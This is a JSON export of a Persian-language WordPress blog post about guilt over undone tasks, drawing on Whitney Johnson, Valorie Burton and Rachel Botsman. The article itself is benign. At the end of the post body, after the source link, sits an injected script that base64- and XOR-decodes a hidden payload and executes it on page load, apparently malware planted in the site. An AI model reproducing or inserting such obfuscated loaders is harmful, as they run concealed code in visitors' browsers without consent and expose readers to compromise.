{"id":12435,"date":"2026-07-05T14:53:29","date_gmt":"2026-07-05T11:23:29","guid":{"rendered":"https:\/\/techrasa.com\/fa\/?p=12435"},"modified":"2026-07-05T14:53:29","modified_gmt":"2026-07-05T11:23:29","slug":"%da%86%d8%b1%d8%a7-%d9%88%d9%82%d8%aa%db%8c-%da%a9%d8%a7%d8%b1%db%8c-%d8%b1%d8%a7-%d8%a7%d9%86%d8%ac%d8%a7%d9%85-%d9%86%d9%85%db%8c%d8%af%d9%87%db%8c%d9%85-%d8%b9%d8%b0%d8%a7%d8%a8-%d9%88","status":"publish","type":"post","link":"https:\/\/techrasa.com\/fa\/%da%86%d8%b1%d8%a7-%d9%88%d9%82%d8%aa%db%8c-%da%a9%d8%a7%d8%b1%db%8c-%d8%b1%d8%a7-%d8%a7%d9%86%d8%ac%d8%a7%d9%85-%d9%86%d9%85%db%8c%d8%af%d9%87%db%8c%d9%85-%d8%b9%d8%b0%d8%a7%d8%a8-%d9%88\/","title":{"rendered":"\u0686\u0631\u0627 \u0648\u0642\u062a\u06cc \u06a9\u0627\u0631\u06cc \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u0646\u0645\u06cc\u200c\u062f\u0647\u06cc\u0645 \u0639\u0630\u0627\u0628 \u0648\u062c\u062f\u0627\u0646 \u0645\u06cc \u06af\u06cc\u0631\u06cc\u0645\u061f"},"content":{"rendered":"<p><span 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\u0645\u0627 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/p>\n<h2><strong>\u0644\u06cc\u0633\u062a \u06a9\u0627\u0631\u0647\u0627\u06cc\u06cc \u0631\u0627 \u06a9\u0647 \u0646\u0628\u0627\u06cc\u062f \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u06cc\u062f\u060c \u062a\u0647\u06cc\u0647 \u06a9\u0646\u06cc\u062f<\/strong><\/h2>\n<p><span style=\"font-weight: 400;\">\u0648\u06cc\u062a\u06cc \u062c\u0627\u0646\u0633\u0648\u0646 (Whitney Johnson)\u060c \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u06a9\u062a\u0627\u0628 <span style=\"color: #ffff00;\">\u062e\u0648\u062f\u062a\u0627\u0646 \u0631\u0627 \u062f\u06af\u0631\u06af\u0648\u0646 \u06a9\u0646\u06cc\u062f (Disrupt Yourself)<\/span>\u060c \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0647\u06cc\u0646\u0647 \u062a\u0639\u062f\u0627\u062f \u06a9\u0627\u0631\u0647\u0627\u06cc\u06cc \u0631\u0627 \u06a9\u0647 \u0628\u0627\u06cc\u062f \u062f\u0631 \u0644\u06cc\u0633\u062a\u200c\u062a\u0627\u0646 \u0642\u0631\u0627\u0631 \u062f\u0647\u06cc\u062f\u060c \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0631\u0633\u06cc\u062f\u0646 \u0628\u0647 \u0644\u06cc\u0633\u062a \u0628\u0647\u06cc\u0646\u0647 \u0627\u0632 \u06a9\u0627\u0631\u0647\u0627\u06cc\u200c\u0645\u0627\u0646 \u06cc\u06a9 \u062a\u063a\u06cc\u06cc\u0631 \u0686\u0627\u0644\u0634\u200c\u0628\u0631\u0627\u0646\u06af\u06cc\u0632 \u0648 \u0645\u0634\u06a9\u0644 \u0627\u0633\u062a\u061b \u0686\u0648\u0646 \u0645\u0627 \u06cc\u0627\u062f \u0646\u06af\u0631\u0641\u062a\u0647\u200c\u0627\u06cc\u0645 \u06a9\u0647 \u0686\u06af\u0648\u0646\u0647 \u0644\u06cc\u0633\u062a \u06a9\u0627\u0631\u0647\u0627\u06cc\u200c\u0645\u0627\u0646 \u0631\u0627 \u06a9\u0645 \u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0642\u0637 \u06cc\u0627\u062f \u06af\u0631\u0641\u062a\u0647\u200c\u0627\u06cc\u0645 \u06a9\u0647 \u06a9\u0627\u0631\u0647\u0627 \u0648 \u0648\u0638\u0627\u06cc\u0641 \u0631\u0627 \u0628\u0647 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\u0646\u0645\u06cc\u200c\u062e\u0648\u0627\u0647\u06cc\u062f \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u06cc\u062f \u0628\u0646\u0648\u06cc\u0633\u06cc\u062f<\/b><span style=\"font-weight: 400;\">. \u0627\u0646\u062c\u0627\u0645 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0641\u0631\u0635\u062a\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u0634\u0645\u0627 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u0628\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639\u0627\u062a \u0641\u06a9\u0631 \u06a9\u0646\u06cc\u062f: \u00ab\u0686\u06af\u0648\u0646\u0647 \u0632\u0645\u0627\u0646\u0645 \u0631\u0627 \u0633\u067e\u0631\u06cc \u06a9\u0646\u0645\u061f \u0648\u0642\u062a\u0645 \u0631\u0627 \u0628\u0627 \u0686\u0647 \u06a9\u0633\u0627\u0646\u06cc \u0628\u06af\u0630\u0631\u0627\u0646\u0645\u061f \u0645\u0646 \u0645\u06cc\u200c\u062e\u0648\u0627\u0647\u0645 \u0631\u0648\u06cc \u0686\u0647 \u0686\u06cc\u0632\u0647\u0627\u06cc\u06cc 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\u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0627\u06cc\u0646 \u0627\u0645\u06a9\u0627\u0646 \u0631\u0627 \u0628\u0647 \u0645\u0627 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 <a href=\"https:\/\/techrasa.com\/fa\/%d8%a7%d9%88%d9%84%d9%88%db%8c%d8%aa%e2%80%8c%d8%a8%d9%86%d8%af%db%8c-%da%a9%d8%a7%d8%b1%d9%87%d8%a7-%d8%a8%d8%b1-%d8%a7%d8%b3%d8%a7%d8%b3-%d9%85%d8%a7%d8%aa%d8%b1%db%8c%d8%b3-%d8%a2%db%8c%d8%b2%d9%86\/\" target=\"_blank\" rel=\"noopener\">\u0627\u0648\u0644\u0648\u06cc\u062a\u200c\u0647\u0627<\/a> \u0648 \u0645\u062d\u062f\u0648\u062f\u06cc\u062a\u200c\u0647\u0627\u06cc\u200c\u0645\u0627\u0646 \u0631\u0627 \u062f\u0631 \u0646\u0638\u0631 \u0628\u06af\u06cc\u0631\u06cc\u0645.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u062a\u0648\u0627\u0646\u06cc\u0645 \u0686\u0631\u062e\u0647 \u06af\u0646\u0627\u0647 \u0631\u0627 \u0628\u0634\u06a9\u0646\u06cc\u0645\u060c \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u0627\u0646\u062a\u0638\u0627\u0631\u0627\u062a\u0645\u0627\u0646 \u0631\u0627 \u062f\u0648\u0628\u0627\u0631\u0647 \u0628\u0627\u0632\u0628\u06cc\u0646\u06cc \u06a9\u0646\u06cc\u0645\u060c \u0628\u0647 \u0648\u06cc\u0698\u0647 \u0622\u0646 \u062f\u0633\u062a\u0647 \u0627\u0632 \u0627\u0646\u062a\u0638\u0627\u0631\u0627\u062a\u06cc \u06a9\u0647 \u0628\u0631 \u0645\u0627 \u062a\u062d\u0645\u06cc\u0644 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f.<\/span><\/p>\n<h2><strong>\u06a9\u062f\u0627\u0645 \u0627\u062d\u0633\u0627\u0633 \u06af\u0646\u0627\u0647 \u0631\u0627 \u062c\u062f\u06cc \u0628\u06af\u06cc\u0631\u06cc\u0645\u061f<\/strong><\/h2>\n<p><span style=\"font-weight: 400;\">\u0648\u0627\u0644\u0648\u0631\u06cc\u0627 \u0628\u0627\u0631\u062a\u0648\u0646 (Valorie Burton)\u060c \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u06a9\u062a\u0627\u0628 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u06cc\u062f \u06af\u0646\u0627\u0647 \u0628\u0631\u0648\u062f (Let Go of The Guilt)\u060c \u0686\u0646\u062f \u0627\u0633\u062a\u0631\u0627\u062a\u0698\u06cc \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u0628\u0631\u0627\u06cc \u062a\u0634\u062e\u06cc\u0635 \u0648 \u062a\u0645\u06cc\u0632 \u0627\u062d\u0633\u0627\u0633 \u06af\u0646\u0627\u0647 \u0648\u0627\u0642\u0639\u06cc \u0627\u0632 \u063a\u06cc\u0631\u0648\u0627\u0642\u0639\u06cc \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u0627\u0648 \u0628\u06cc\u0646 \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0627 \u06cc\u06a9 \u06a9\u0627\u0631\u06cc \u0631\u0627 \u0627\u0634\u062a\u0628\u0627\u0647 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0647\u200c\u0627\u06cc\u0645 \u0628\u0627 \u0627\u062d\u0633\u0627\u0633\u06cc \u06a9\u0647 \u0628\u0647 \u0645\u0627 \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f \u0634\u0645\u0627 \u06a9\u0627\u0631 \u0627\u0634\u062a\u0628\u0627\u0647\u06cc \u06a9\u0631\u062f\u0647\u200c\u0627\u06cc\u062f\u060c \u062a\u0645\u0627\u06cc\u0632 \u0642\u0627\u0626\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0645\u0633\u0626\u0644\u0647 \u0645\u0647\u0645 \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647 \u0627\u062d\u0633\u0627\u0633 \u06af\u0646\u0627\u0647 <span style=\"color: #ffff00;\">\u0648\u0627\u0642\u0639\u06cc \u0648 \u063a\u06cc\u0631\u0648\u0627\u0642\u0639\u06cc<\/span> \u0628\u0647 \u06cc\u06a9 \u0634\u06a9\u0644 \u062e\u0648\u062f\u0634 \u0631\u0627 \u062f\u0631 \u0632\u0646\u062f\u06af\u06cc \u0645\u0627 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0647\u0631 \u062f\u0648\u060c \u062d\u0633 \u0645\u062f\u06cc\u0648\u0646 \u0628\u0648\u062f\u0646 \u0631\u0627 \u062f\u0631 \u0645\u0627 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u0627\u0648 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u0642\u0628\u0644 \u0627\u0632 \u0622\u0646\u06a9\u0647 \u06af\u0646\u0627\u0647 \u0628\u062e\u0648\u0627\u0647\u062f \u0631\u0648\u06cc \u062a\u0635\u0645\u06cc\u0645\u200c\u0647\u0627 \u06cc\u0627 \u0631\u0641\u062a\u0627\u0631\u0647\u0627\u06cc\u200c\u062a\u0627\u0646 \u062a\u0623\u062b\u06cc\u0631 \u0628\u06af\u0630\u0627\u0631\u062f\u060c \u0627\u0632 \u062d\u0633 \u06af\u0646\u0627\u0647\u06cc \u06a9\u0647 \u062f\u0631 \u0634\u0645\u0627 \u0628\u0647 \u0648\u062c\u0648\u062f \u0645\u06cc\u200c\u0622\u06cc\u062f\u060c \u0622\u06af\u0627\u0647 \u0634\u0648\u06cc\u062f. \u067e\u0631\u0633\u06cc\u062f\u0646 \u0633\u0648\u0627\u0644\u200c\u0647\u0627\u06cc \u0632\u06cc\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0645\u0627 \u0631\u0627 \u0646\u0633\u0628\u062a \u0628\u0647 \u0627\u0646\u062a\u062e\u0627\u0628\u200c\u0647\u0627\u06cc\u200c\u0645\u0627\u0646 \u0622\u06af\u0627\u0647\u200c\u062a\u0631 \u06a9\u0646\u062f.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\u0686\u0631\u0627 \u0645\u0646 \u062f\u0627\u0631\u0645 \u0627\u06cc\u0646 \u06a9\u0627\u0631\u0647\u0627 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0647\u0645\u061f\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\u0622\u06cc\u0627 \u0645\u0646 \u0648\u0627\u0642\u0639\u0627 \u06a9\u0627\u0631 \u0627\u0634\u062a\u0628\u0627\u0647\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0647\u0645\u061f<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\u0622\u06cc\u0627 \u0627\u06cc\u0646 \u0631\u0641\u062a\u0627\u0631 \u0628\u0627 \u0627\u0631\u0632\u0634\u200c\u0647\u0627\u06cc \u0645\u0646 \u0647\u0645\u0633\u0648 \u0627\u0633\u062a\u061f<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">\u0627\u0632 \u0645\u0646\u0638\u0631 \u062f\u06cc\u06af\u0631\u060c \u062d\u0633 \u06af\u0646\u0627\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0633\u0627\u0632\u0646\u062f\u0647 \u0628\u0627\u0634\u062f. \u0648\u0642\u062a\u06cc \u062d\u0633 \u06af\u0646\u0627\u0647 \u062f\u0631 \u0645\u0627 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u06cc\u06a9 \u067e\u06cc\u0627\u0645 \u0645\u0647\u0645 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0627 \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u062f\u0627\u0631\u062f. \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0631\u0641\u062a\u0627\u0631\u0647\u0627 \u0648 \u0627\u0646\u062a\u062e\u0627\u0628\u200c\u0647\u0627\u06cc \u0645\u0627 \u0628\u0627 \u0627\u0631\u0632\u0634\u200c\u0647\u0627\u06cc\u200c\u0645\u0627\u0646 \u0647\u0645\u0633\u0648 \u0646\u0628\u0627\u0634\u062f\u060c \u062d\u0633 \u06af\u0646\u0627\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0645\u0627 \u0631\u0627 \u0622\u06af\u0627\u0647 \u06a9\u0646\u062f \u0648 \u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc \u0628\u0631\u0627\u06cc \u0645\u0627 \u0628\u0627\u0634\u062f.<\/span><\/p>\n<hr \/>\n<p><strong>\u0645\u0646\u0628\u0639:<\/strong><\/p>\n<p><a href=\"https:\/\/www.linkedin.com\/pulse\/power-doing-things-rachel-botsman\/?trackingId=PQ7nRm0bQuKZRknO3RUTmQ%3D%3D\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">The power of *not* doing things<\/span><\/a><span style=\"font-weight: 400;\">, By Rachel Botsman, 2022<\/span><script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0622\u06cc\u0627 \u0628\u0631\u0627\u06cc \u0627\u0646\u062c\u0627\u0645 \u0646\u062f\u0627\u062f\u0646 \u06a9\u0627\u0631\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0622\u0646\u200c\u0647\u0627 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u06cc\u0645\u060c \u0627\u062d\u0633\u0627\u0633 \u06af\u0646\u0627\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645\u061f \u0627\u062d\u062a\u0645\u0627\u0644\u0627\u064b \u0628\u0631\u0627\u06cc \u062e\u06cc\u0644\u06cc \u0627\u0632 \u0645\u0627 \u067e\u06cc\u0634 \u0622\u0645\u062f\u0647 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